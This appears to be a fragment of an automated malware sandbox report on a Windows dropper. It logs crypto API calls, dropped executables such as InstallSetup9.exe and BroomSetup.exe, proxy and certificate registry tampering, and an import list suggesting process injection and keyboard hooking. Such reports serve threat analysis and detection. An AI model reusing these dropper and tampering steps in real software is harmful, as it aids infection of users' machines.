"620200005255555580a26d00c0377202000000000a0603550403130357453130300200004b53534d020001000500000010000000800000001000000001c369a62a48630397cea3ceceea001c000000000100000000000000010000000300000001c369a62a48630397cea3ceceea001c87a0f52dade8962e3a2635e0f4cc35fcce36459263ded3bc59f8e65cad34d3a0d250a507b18e76bbe87690e745424347f64a056947c473d2afb2e335eaf0a0726aaa45ee2d6e363c82dcd509682c757b3b3764ab165952979485879efca9f2e5a8bebd1bbee7ef8c2a626812d6cb9af73706d5ed89e13a61a38352737548c8847eee8a70f70fb011548ce26221c42ae6540b048da304b49cf78856fed64c7c18af7f8f35bcb54919bf6bb935a6f1ff81b17b418213cac62c03def02c199a46b4975df983a2b187ae101436001a44b698c556075735ec7e2db2a5b1ae0a508098537aaae8f0ba797a8749cf83b8f531367e5236caa3c0d39277f3b6f93fbcfeb531dd06cadd92e558d433656b484f484c733aa6c0ec4fe39209a180339c7c2d275c4ecb269f754552e5ee63a195ddad1401c369a62a48630397cea3ceceea001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000069fcb7730000000000000000000000000000000000000000e7f4aa798859fcb5608f0d27b4b402196f83" "cbKeyObject": "610" "pbInput": "300200004b53534d020001000500000010000000800000001000000001c369a62a48630397cea3ceceea001c000000000100000000000000010000000300000001c369a62a48630397cea3ceceea001c87a0f52dade8962e3a2635e0f4cc35fcce36459263ded3bc59f8e65cad34d3a0d250a507b18e76bbe87690e745424347f64a056947c473d2afb2e335eaf0a0726aaa45ee2d6e363c82dcd509682c757b3b3764ab165952979485879efca9f2e5a8bebd1bbee7ef8c2a626812d6cb9af73706d5ed89e13a61a38352737548c8847eee8a70f70fb011548ce26221c42ae6540b048da304b49cf78856fed64c7c18af7f8f35bcb54919bf6bb935a6f1ff81b17b418213cac62c03def02c199a46b4975df983a2b187ae101436001a44b698c556075735ec7e2db2a5b1ae0a508098537aaae8f0ba797a8749cf83b8f531367e5236caa3c0d39277f3b6f93fbcfeb531dd06cadd92e558d433656b484f484c733aa6c0ec4fe39209a180339c7c2d275c4ecb269f754552e5ee63a195ddad1401c369a62a48630397cea3ceceea001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000069fcb7730000000000000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da5c8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "8Iu" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da5c8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "b84a7502" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da718" "pszBlobType": "ECCPUBLICBLOB" "phKey": "XKu" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da7c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "984b7502" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da718" "pszBlobType": "ECCPUBLICBLOB" "phKey": "b84b7502" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da5c8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "d84b7502" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da718" "pszBlobType": "ECCPUBLICBLOB" "phKey": "f84b7502" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"}66:T457,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini"67:T84b,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" wrote 42426 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" wrote 48512 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "InstallSetup9.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "InstallSetup9.exe" wrote 25600 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nss9B66.tmp\INetC.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "InstallSetup9.exe" wrote 27687 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nss9B66.tmp\Math.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...68:T6c4,Found string "WbemScripting.SWbemLocator" (Indicator: "wbemscripting."; in Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string "WmiPrvSE.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "wmiprvse.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp, 00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found string "WbemScripting.SWbemLocator" (Indicator: "wbemscripting."; in Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp, 00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found string "\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002516.00000001.83576.0022F000.00000004.mdmp")69:T47a,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")6a:T53a,GetUserNameW RegDeleteKeyW OpenProcessToken RegEnumKeyExW RegCreateKeyExW RegOpenKeyExW RegDeleteValueW RegCloseKey GetCommandLineW MapViewOfFile LockResource WriteFile GetVersionExW VirtualProtect WriteProcessMemory LoadLibraryW VirtualAllocEx GetProcAddress GetTickCount GetModuleFileNameW CreateThread VirtualAlloc GetModuleHandleW LoadLibraryExW GetStartupInfoW ExitThread GetSystemInfo IsDebuggerPresent CreateDirectoryW ReadProcessMemory CreateFileMappingW Sleep CreateProcessW OpenProcess LoadLibraryA FindFirstFileW GetDriveTypeW GetFileAttributesW WinExec CreateFileW DeleteFileW GetFileSize FindNextFileW GetComputerNameW UnhandledExceptionFilter FindResourceW ShellExecuteW ShellExecuteExW GetCursorPos FindWindowExW FindWindowW GetWindowThreadProcessId SetKeyboardState SetWindowsHookExW GetLastActivePopup GetClipboardData EnumPrintersW LoadLibraryExA GetStartupInfoA TerminateProcess CopyFileExA GetModuleFileNameA RegEnumKeyW GetTempFileNameW GetTempPathW CopyFileW GetModuleHandleA GetSystemDirectoryW GetCommandLineA GetVersionExA SleepEx CreateFileA InternetCloseHandle HttpSendRequestW InternetWriteFile FtpOpenFileW InternetConnectW InternetReadFile InternetCrackUrlW InternetQueryOptionW HttpQueryInfoW HttpSendRequestExW InternetOpenW6b:T1425,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "nsu8C47.tmp" called "CryptStringToBinaryA" with parameters {"pszString": "YmxvY2s=" "cchString": "0" "dwFlags": "1" "pcbBinary": "05000000"} "nsu8C47.tmp" called "CryptStringToBinaryA" with parameters {"pszString": "YmxvY2s=" "cchString": "0" "dwFlags": "1" "pbBinary": "block" "pcbBinary": "05000000"}6c:T906,"InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")6d:T119d,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00006044-00000C25-12785854] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00006044-00000C25-12887709] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00006044-00000C25-12921056] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006044-00000C25-12941742] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00006044-00000C25-12983048] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00006044-00000C25-13008102] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006044-00000C25-13023370] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00006044-00000C25-13063461] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00006044-00000C25-13236646] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00006044-00000C25-13262536] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006044-00000C25-13307428] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006044-00000C25-13313843] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00006044-00000C25-13320777] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006044-00000C25-13347079] Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00001504-00000C25-14098163] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00001504-00000C25-14109808] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00001504-00000C25-14116932] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00001504-00000C25-14191299] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00001504-00000C25-14203899] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00001504-00000C25-14211023]6e:T67f,"BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1526794388" "cx": "1" "cy": "1"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "838928535" "cx": "1" "cy": "1"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "16" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "16" "cy": "24"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "26" "cy": "24"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "16" "cy": "14"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "52" "cy": "39"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "100729044" "cx": "32" "cy": "32"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "100729044" "cx": "16" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "100729044" "cx": "64" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "100729044" "cx": "64" "cy": "64"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "100729044" "cx": "4800" "cy": "64"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "320" "cy": "20"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "5" "cy": "215"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "805373975" "cx": "320" "cy": "5"}6f:Teac,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00006044) 